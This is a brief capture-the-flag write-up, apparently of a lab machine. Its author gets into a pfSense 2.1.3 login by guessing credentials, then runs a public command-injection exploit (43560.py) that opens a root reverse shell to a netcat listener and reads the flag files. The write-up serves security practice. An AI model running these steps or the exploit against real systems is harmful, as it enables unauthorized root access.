Checking out the page, it turns out it the login interface of pfsense
and the default credentials of admin:pfsesne
did not seem to work. So I ran gobuster
on the URL and found a txt
file called system-users.txt
which contained the username rohit
and password was supposed to be company default
, so I chose to try pfsense
and this combination got me into the dashboard.

As evident from the version information this is pfsense 2.1.3
, so I ran this service and version info against searchsploit
and found one command injection vulnerability.

Shellcodes: No Result
User and Root own
So I ran the exploit script with the parameters it required and was able to get a shell as root on the system.
python3.7 43560.py --username rohit --password pfsense --lhost 10.10.14.8 --rhost 10.10.10.60 --lport 5555
$ nc -lvnp 5555

sh: can't access tty; job control turned off
# id

# cat /root/root.txt

# cat /home/rohit/user.txt

Learning outcome
I need to find better word-list which are more comprehensive and thorough in terms of research. The ones I used, just barely got me through this time.
